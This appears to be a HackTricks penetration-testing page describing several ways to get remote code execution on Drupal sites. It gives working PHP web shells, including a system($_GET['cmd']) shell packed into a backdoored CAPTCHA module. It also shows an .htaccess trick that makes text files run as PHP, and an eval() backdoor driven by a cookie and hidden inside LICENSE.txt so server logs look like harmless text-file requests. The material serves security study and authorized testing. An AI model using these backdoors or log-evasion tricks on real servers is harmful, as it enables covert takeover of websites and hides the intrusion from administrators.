# Drupal RCE

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-ce8af1068db7be4ad9003f8ddb02fea8f943f1a4%2Farte.png?alt=media" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-ce8af1068db7be4ad9003f8ddb02fea8f943f1a4%2Farte.png?alt=media" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-54ee1fb931f39d1e6f50150361b6aa1927f4ee88%2Fgrte.png?alt=media" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-54ee1fb931f39d1e6f50150361b6aa1927f4ee88%2Fgrte.png?alt=media" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}

## With PHP Filter Module

{% hint style="warning" %}
In older versions of Drupal **(before version 8)**, it was possible to log in as an admin and **enable the `PHP filter` module**, which "Allows embedded PHP code/snippets to be evaluated." But from version 8 this module is not installed by default.
{% endhint %}

You need the **plugin php to be installed** (check it accessing to */modules/php* and if it returns a **403** then, **exists**, if **not found**, then the **plugin php isn't installed**)

Go to *Modules* -> (**Check**) *PHP Filter* -> *Save configuration*

![](https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-33b0cd0a5bf70946deb6bc5c2dc0e6904642af9b%2Fimage%20\(247\)%20\(1\).png?alt=media)

Then click on *Add content* -> Select *Basic Page* or *Article -*> Write *php shellcode on the body* -> Select *PHP code* in *Text format* -> Select *Preview*

![](https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-607d764091f974226ff1baac853144a317fc5838%2Fimage%20\(338\).png?alt=media)

Finally just access the newly created node:

```bash
curl http://drupal-site.local/node/3
```

## Install PHP Filter Module

{% hint style="warning" %}
In current versions i't no longer possible to install plugins by only having access to the web after the default installation.
{% endhint %}

From version **8 onwards, the** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **module is not installed by default**. To leverage this functionality, we would have to **install the module ourselves**.

1. Download the most recent version of the module from the Drupal website.
   1. wget <https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz>
2. Once downloaded go to **`Administration`** > **`Reports`** > **`Available updates`**.
3. Click on **`Browse`**`,` select the file from the directory we downloaded it to, and then click **`Install`**.
4. Once the module is installed, we can click on **`Content`** and **create a new basic page**, similar to how we did in the Drupal 7 example. Again, be sure to **select `PHP code` from the `Text format` dropdown**.

## Backdoored Module

{% hint style="warning" %}
In current versions it's no longer possible to install plugins by only having access to the web after the default installation.
{% endhint %}

A backdoored module can be created by **adding a shell to an existing module**. Modules can be found on the drupal.org website. Let's pick a module such as [CAPTCHA](https://www.drupal.org/project/captcha). Scroll down and copy the link for the tar.gz [archive](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).

* Download the archive and extract its contents.

```
wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
```

* Create a **PHP web shell** with the contents:

```php
<?php
system($_GET["cmd"]);
?>
```

* Next, we need to create a **`.htaccess`** file to give ourselves access to the folder. This is necessary as Drupal denies direct access to the **`/modules`** folder.

```html
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
```

* The configuration above will apply rules for the / folder when we request a file in /modules. Copy both of these files to the captcha folder and create an archive.

```bash
mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
```

* Assuming we have **administrative access** to the website, click on **`Manage`** and then **`Extend`** on the sidebar. Next, click on the **`+ Install new module`** button, and we will be taken to the install page, such as `http://drupal-site.local/admin/modules/install` Browse to the backdoored Captcha archive and click **`Install`**.
* Once the installation succeeds, browse to **`/modules/captcha/shell.php`** to execute commands.

## Backdooring Drupal with Configuration synchronization <a href="#backdooring-drupal" id="backdooring-drupal"></a>

**Post shared by** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)

### Part 1 (activation of *Media* and *Media Library*)

In the *Extend* menu (/admin/modules), you can activate what appear to be plugins already installed. By default, plugins *Media* and *Media Library* don’t appear to be activated, so let’s activate them.

Before activation:

<figure><img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-4c7c93f136e5cef5e20e7ede64b22028ca72648a%2Fimage%20(4)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

After activation:

<figure><img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-1ec78aebd66cd90a926937e9afef92bee1bbd873%2Fimage%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-176e28e260ced93a729f3ca6f493c54de2ca3325%2Fimage%20(2)%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

### Part 2 (leveraging feature *Configuration synchronization*) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>

We’ll leverage the *Configuration synchronization* feature to dump (export) and upload (import) Drupal configuration entries:

* /admin/config/development/configuration/single/export
* /admin/config/development/configuration/single/import

**Patch system.file.yml**

Let’s start by patching the first entry `allow_insecure_uploads` from:

File: system.file.yml

```

...

allow_insecure_uploads: false

...

```

<figure><img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-17acb7d7e32d50321420fc6980081693ff3c2488%2Fimage%20(3)%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

To:

File: system.file.yml

```

...

allow_insecure_uploads: true

...

```

<figure><img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-92ceed74582786045e9b3021748efcdf10eaab62%2Fimage%20(4)%20(1)%20(1)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

**Patch field.field.media.document.field\_media\_document.yml**

Then, patch the second entry `file_extensions` from:

File: field.field.media.document.field\_media\_document.yml

```

...

  file_directory: '[date:custom:Y]-[date:custom:m]'
  file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...
```

<figure><img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-e7f03abf85835acd9c32e403c7957baddf76124c%2Fimage%20(5)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

To:

File: field.field.media.document.field\_media\_document.yml

```
...

  file_directory: '[date:custom:Y]-[date:custom:m]'
  file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

```

> I don’t use it in this blogpost but it is noted that it is possible to define the entry `file_directory` in an arbitrary way and that it is vulnerable to a path traversal attack (so we can go back up within the Drupal filesystem tree).

<figure><img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-e5ab74cb813cf4b74bf72e0029bab9303fa0ba0d%2Fimage%20(6)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

### Part 3 (leveraging feature *Add Document*) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>

The last step is the simplest, and is broken down into two sub-steps. The first is to upload a file in .htaccess format to leverage the Apache directives and allow .txt files to be interpreted by the PHP engine. The second is to upload a .txt file containing our payload.

File: .htaccess

```
<Files *>
  SetHandler application/x-httpd-php
</Files>

# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
  php_flag engine on
</IfModule>
<IfModule mod_php7.c>
  php_flag engine on
</IfModule>
<IfModule mod_php5.c>
  php_flag engine on
</IfModule>
```

Why is this trick cool?

Because once the Webshell (that we’ll call LICENSE.txt ) is dropped onto the Web server, we can transmit our commands via `$_COOKIE` and in the Web server logs, this will show up as a legitimate GET request to a text file.

Why name our Webshell LICENSE.txt?

Simply because if we take the following file, for example [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (which is already present in the Drupal core), we have a file of 339 lines and 17.6 KB in size, which is perfect for adding a small snippet of PHP code in the middle (since the file is big enough).

<figure><img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-511d745288778e33bd8a1eaa02cb3ec9a9484b6b%2Fimage%20(7)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

File: Patched LICENSE.txt

```txt

...

this License, you may choose any version ever published by the Free Software
Foundation.

<?php

# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
    if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
        eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
    } else {
        phpinfo();
    }
}

?>

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author

...

```

#### **Part 3.1 (upload file .htaccess)**

First, we leverage the *Add Document* (/media/add/document) feature to upload our file containing the Apache directives (.htaccess).

<figure><img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-4464dc17125af4ce4ff46ef4c85ba124775fd892%2Fimage%20(8)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-a3d5f99f09936ab255513583290236e3edf2fb64%2Fimage%20(9)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-210d7bd3fb7f095bb7e92b210d91e63f12968897%2Fimage%20(10)%20(1)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

**Part 3.2 (upload file LICENSE.txt)**

Then, we leverage the *Add Document* (/media/add/document) feature again to upload a Webshell hidden within a license file.

<figure><img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-277c44d2cad5775066e0429dbda5f22b6f66f554%2Fimage%20(11)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-fd5fec3d9950b64fd4989eaf686df6f7966029b3%2Fimage%20(12)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-4c2c4ab67b3633aad28099287e4c1d48dc337689%2Fimage%20(13)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

### Part 4 (interaction with the Webshell) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>

The last part consists of interacting with the Webshell.

As shown in the following screenshot, if the cookie expected by our Webshell is not defined, we get the subsequent result when consulting the file via a Web browser.

<figure><img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-f5207ab5b112e3b9da915193f7f2e73db318399e%2Fimage%20(14)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

When the attacker sets the cookie, he can interact with the Webshell and execute any commands he wants.

<figure><img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-11fd861cfefe62fd4421623f34499ce77ad1e142%2Fimage%20(15)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

And as you can see in the logs, it looks like only a txt file has been requested.

<figure><img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-5d7f744a6dab44d590135b108e5eb9e3e2f118e9%2Fimage%20(16)%20(1).png?alt=media" alt=""><figcaption></figcaption></figure>

Thank you for taking the time to read this article, I hope it will help you get some shells.

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-ce8af1068db7be4ad9003f8ddb02fea8f943f1a4%2Farte.png?alt=media" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-ce8af1068db7be4ad9003f8ddb02fea8f943f1a4%2Farte.png?alt=media" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-54ee1fb931f39d1e6f50150361b6aa1927f4ee88%2Fgrte.png?alt=media" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="https://4053168017-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbkAZDoSuRHGdNlWHdyKs%2Fuploads%2Fgit-blob-54ee1fb931f39d1e6f50150361b6aa1927f4ee88%2Fgrte.png?alt=media" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}
